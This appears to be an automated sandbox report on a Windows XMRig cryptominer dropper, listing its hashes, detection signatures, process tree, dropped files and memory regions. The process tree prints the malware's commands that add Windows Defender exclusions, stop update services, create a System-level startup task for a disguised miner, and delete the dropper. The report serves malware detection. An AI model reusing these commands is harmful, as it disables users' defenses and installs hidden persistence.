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Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20241023-en
  • resource tags

    arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
  • submitted
    25/12/2024, 14:49

General

  • Target

    JaffaCakes118_998997122e364144750a72db4049d50e38e6a879b0c67bd92ff5f6a549c7f2f5.exe

  • Size

    680.4MB

  • MD5

    b7b4e0558eb6188abc6e17d77abb4f73

  • SHA1

    22851c79469486055efc62599a25eb4e1f8cc8b1

  • SHA256

    998997122e364144750a72db4049d50e38e6a879b0c67bd92ff5f6a549c7f2f5

  • SHA512

    638827eb702d032bf9f045854c1a79cd3bb841c9147ddd66fce98d91072bcd67338ae7214a248f8b0c8e43a68c8af48d2991a5ecae9df4e35666cf0477529cc3

  • SSDEEP

    196608:gomVwAoiSs79XEVmNmbGHDoKUrUNQ9SzsIW8YtuNfU/:goqwAoSREVmDjzfIuNfU/

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
  • XMRig Miner payload 11 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Stops running service(s) 4 TTPs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 5 IoCs
  • Themida packer 15 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1052
      • C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_998997122e364144750a72db4049d50e38e6a879b0c67bd92ff5f6a549c7f2f5.exe
        "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_998997122e364144750a72db4049d50e38e6a879b0c67bd92ff5f6a549c7f2f5.exe"
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2908
        • C:\Users\Admin\AppData\Roaming\[New]3.exe
          C:\Users\Admin\AppData\Roaming\[New]3.exe
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Checks whether UAC is enabled
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Program Files directory
          • Suspicious behavior: EnumeratesProcesses
          PID:2784
        • C:\Users\Admin\AppData\Roaming\[New]crypted.exe
          C:\Users\Admin\AppData\Roaming\[New]crypted.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3024
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
            4⤵
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2772
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1976
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:844
        • C:\Windows\System32\sc.exe
          sc stop UsoSvc
          3⤵
          • Launches sc.exe
          PID:656
        • C:\Windows\System32\sc.exe
          sc stop WaaSMedicSvc
          3⤵
          • Launches sc.exe
          PID:608
        • C:\Windows\System32\sc.exe
          sc stop wuauserv
          3⤵
          • Launches sc.exe
          PID:2212
        • C:\Windows\System32\sc.exe
          sc stop bits
          3⤵
          • Launches sc.exe
          PID:696
        • C:\Windows\System32\sc.exe
          sc stop dosvc
          3⤵
          • Launches sc.exe
          PID:1696
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#kssonkvq#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'AppData' /tr '''C:\Program Files\WindowsAps\MicrosoftXboxGamingOverlay\uTorrent.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsAps\MicrosoftXboxGamingOverlay\uTorrent.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'AppData' -User 'System' -RunLevel 'Highest' -Force; }
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1188
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn AppData /tr "'C:\Program Files\WindowsAps\MicrosoftXboxGamingOverlay\uTorrent.exe'"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2348
      • C:\Windows\System32\schtasks.exe
        C:\Windows\System32\schtasks.exe /run /tn "AppData"
        2⤵
          PID:1920
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\[New]3.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:888
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:2360
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2824
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2732
            • C:\Windows\System32\sc.exe
              sc stop UsoSvc
              3⤵
              • Launches sc.exe
              PID:484
            • C:\Windows\System32\sc.exe
              sc stop WaaSMedicSvc
              3⤵
              • Launches sc.exe
              PID:2344
            • C:\Windows\System32\sc.exe
              sc stop wuauserv
              3⤵
              • Launches sc.exe
              PID:1988
            • C:\Windows\System32\sc.exe
              sc stop bits
              3⤵
              • Launches sc.exe
              PID:1656
            • C:\Windows\System32\sc.exe
              sc stop dosvc
              3⤵
              • Launches sc.exe
              PID:2172
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#kssonkvq#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'AppData' /tr '''C:\Program Files\WindowsAps\MicrosoftXboxGamingOverlay\uTorrent.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsAps\MicrosoftXboxGamingOverlay\uTorrent.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'AppData' -User 'System' -RunLevel 'Highest' -Force; }
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2184
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn AppData /tr "'C:\Program Files\WindowsAps\MicrosoftXboxGamingOverlay\uTorrent.exe'"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:3044
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe
            2⤵
              PID:3000
            • C:\Windows\System32\conhost.exe
              C:\Windows\System32\conhost.exe
              2⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1692
          • C:\Windows\system32\taskeng.exe
            taskeng.exe {3A645074-646E-457C-BA71-54CF3BF4C3FE} S-1-5-18:NT AUTHORITY\System:Service:
            1⤵
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:2032
            • C:\Program Files\WindowsAps\MicrosoftXboxGamingOverlay\uTorrent.exe
              "C:\Program Files\WindowsAps\MicrosoftXboxGamingOverlay\uTorrent.exe"
              2⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Checks whether UAC is enabled
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetThreadContext
              • Drops file in Program Files directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:2948

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\fb294cd6523f3f9156a3a7bc28e2811a\Admin@[email protected]\Software.txt

            Filesize

            4KB

            MD5

            0deddb3cd02f97a1b29228e249b3b365

            SHA1

            fecda2c925798a04ad17871124a441dd96ae1730

            SHA256

            f347f9e4d3dd0ce266a5d225c0471e33386c659c6c2425a1b2e625864e538b9b

            SHA512

            23d186926572a79bd7cec17ddfc8dc49e97097636cf34cdbc4a8b3d6b590362635cb41200da96385cbc9da4d255cef65bf5bf2cd964c37c331ef9d1dec50eeb0

          • C:\Users\Admin\AppData\Local\fb294cd6523f3f9156a3a7bc28e2811a\msgid.dat

            Filesize

            13B

            MD5

            64a1339085eda776b01251c5994ea18e

            SHA1

            db191a5da47c8a6f5d90c82ec3ab7cd9b110d5a2

            SHA256

            98931cd12d774f86fac2b7d1281c3f95f955d1f708aabaae324baed325f3530e

            SHA512

            4bb1c794ced2056b4b54198c565534395ff5fadc3e4b8c68d47af78ab568c0bb926e35becd31f5c439d8cdb688130d8660dd05cbc38a54aa6cae388c5b8fd38c

          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

            Filesize

            7KB

            MD5

            dac32a572bbb15c14622175c9d1dd28e

            SHA1

            d349cf80f34c7f264b949ecec6a03f68aacee5f7

            SHA256

            218511b1120bcb20d21dfb6fb3fcc39a419d2c84628911ad8345041e041679b9

            SHA512

            f3ab4f80102b5a1e5c1e1cf1194b66c4801fc48e4d8a9cf2e4aec39326b719a7684026944ebfea5aa832833e7541a1d16ec5c9102002a884554a03e736ba8810

          • memory/1188-147-0x000000001B580000-0x000000001B862000-memory.dmp

            Filesize

            2.9MB

          • memory/1188-148-0x0000000002200000-0x0000000002208000-memory.dmp

            Filesize

            32KB

          • memory/1692-189-0x0000000140000000-0x00000001407EF000-memory.dmp

            Filesize

            7.9MB

          • memory/1692-191-0x0000000140000000-0x00000001407EF000-memory.dmp

            Filesize

            7.9MB

          • memory/1692-185-0x0000000140000000-0x00000001407EF000-memory.dmp

            Filesize

            7.9MB

          • memory/1692-183-0x0000000140000000-0x00000001407EF000-memory.dmp

            Filesize

            7.9MB

          • memory/1692-181-0x0000000140000000-0x00000001407EF000-memory.dmp

            Filesize

            7.9MB

          • memory/1692-179-0x0000000140000000-0x00000001407EF000-memory.dmp

            Filesize

            7.9MB

          • memory/1692-176-0x0000000000090000-0x00000000000B0000-memory.dmp

            Filesize

            128KB

          • memory/1692-197-0x0000000140000000-0x00000001407EF000-memory.dmp

            Filesize

            7.9MB

          • memory/1692-195-0x0000000140000000-0x00000001407EF000-memory.dmp

            Filesize

            7.9MB

          • memory/1692-193-0x0000000140000000-0x00000001407EF000-memory.dmp

            Filesize

            7.9MB

          • memory/1692-187-0x0000000140000000-0x00000001407EF000-memory.dmp

            Filesize

            7.9MB

          • memory/1976-129-0x000000001B600000-0x000000001B8E2000-memory.dmp

            Filesize

            2.9MB

          • memory/1976-130-0x0000000001F80000-0x0000000001F88000-memory.dmp

            Filesize

            32KB

          • memory/2032-158-0x000000013FFC0000-0x0000000140E99000-memory.dmp

            Filesize

            14.8MB

          • memory/2184-171-0x0000000019E60000-0x000000001A142000-memory.dmp

            Filesize

            2.9MB

          • memory/2184-172-0x0000000000CA0000-0x0000000000CA8000-memory.dmp

            Filesize

            32KB

          • memory/2772-26-0x0000000000400000-0x000000000041E000-memory.dmp

            Filesize

            120KB

          • memory/2772-17-0x0000000000400000-0x000000000041E000-memory.dmp

            Filesize

            120KB

          • memory/2772-31-0x0000000006460000-0x0000000007339000-memory.dmp

            Filesize

            14.8MB

          • memory/2772-21-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

            Filesize

            4KB

          • memory/2772-151-0x0000000006460000-0x0000000007339000-memory.dmp

            Filesize

            14.8MB

          • memory/2772-152-0x0000000006460000-0x0000000007339000-memory.dmp

            Filesize

            14.8MB

          • memory/2772-20-0x0000000000400000-0x000000000041E000-memory.dmp

            Filesize

            120KB

          • memory/2772-19-0x0000000000400000-0x000000000041E000-memory.dmp

            Filesize

            120KB

          • memory/2772-24-0x0000000000400000-0x000000000041E000-memory.dmp

            Filesize

            120KB

          • memory/2772-32-0x0000000006460000-0x0000000007339000-memory.dmp

            Filesize

            14.8MB

          • memory/2772-18-0x0000000000400000-0x000000000041E000-memory.dmp

            Filesize

            120KB

          • memory/2772-22-0x0000000000400000-0x000000000041E000-memory.dmp

            Filesize

            120KB

          • memory/2784-7-0x000000013FC80000-0x0000000140B59000-memory.dmp

            Filesize

            14.8MB

          • memory/2784-10-0x000000013FC80000-0x0000000140B59000-memory.dmp

            Filesize

            14.8MB

          • memory/2784-9-0x000000013FC80000-0x0000000140B59000-memory.dmp

            Filesize

            14.8MB

          • memory/2784-6-0x0000000077BE0000-0x0000000077BE2000-memory.dmp

            Filesize

            8KB

          • memory/2784-8-0x000000013FC80000-0x0000000140B59000-memory.dmp

            Filesize

            14.8MB

          • memory/2784-11-0x000000013FC80000-0x0000000140B59000-memory.dmp

            Filesize

            14.8MB

          • memory/2784-156-0x000000013FC80000-0x0000000140B59000-memory.dmp

            Filesize

            14.8MB

          • memory/2784-153-0x000000013FC80000-0x0000000140B59000-memory.dmp

            Filesize

            14.8MB

          • memory/2784-30-0x000000013FC80000-0x0000000140B59000-memory.dmp

            Filesize

            14.8MB

          • memory/2824-169-0x0000000019E70000-0x000000001A152000-memory.dmp

            Filesize

            2.9MB

          • memory/2824-170-0x0000000000CA0000-0x0000000000CA8000-memory.dmp

            Filesize

            32KB

          • memory/2908-5-0x0000000002F10000-0x0000000003DE9000-memory.dmp

            Filesize

            14.8MB

          • memory/2948-161-0x000000013FFC0000-0x0000000140E99000-memory.dmp

            Filesize

            14.8MB

          • memory/2948-177-0x000000013FFC0000-0x0000000140E99000-memory.dmp

            Filesize

            14.8MB

          • memory/2948-168-0x000000013FFC0000-0x0000000140E99000-memory.dmp

            Filesize

            14.8MB

          • memory/2948-166-0x000000013FFC0000-0x0000000140E99000-memory.dmp

            Filesize

            14.8MB

          • memory/2948-165-0x000000013FFC0000-0x0000000140E99000-memory.dmp

            Filesize

            14.8MB

          • memory/2948-164-0x000000013FFC0000-0x0000000140E99000-memory.dmp

            Filesize

            14.8MB

          • memory/2948-163-0x000000013FFC0000-0x0000000140E99000-memory.dmp

            Filesize

            14.8MB

          • memory/3000-184-0x0000000140000000-0x000000014002A000-memory.dmp

            Filesize

            168KB

          • memory/3000-178-0x0000000140000000-0x000000014002A000-memory.dmp

            Filesize

            168KB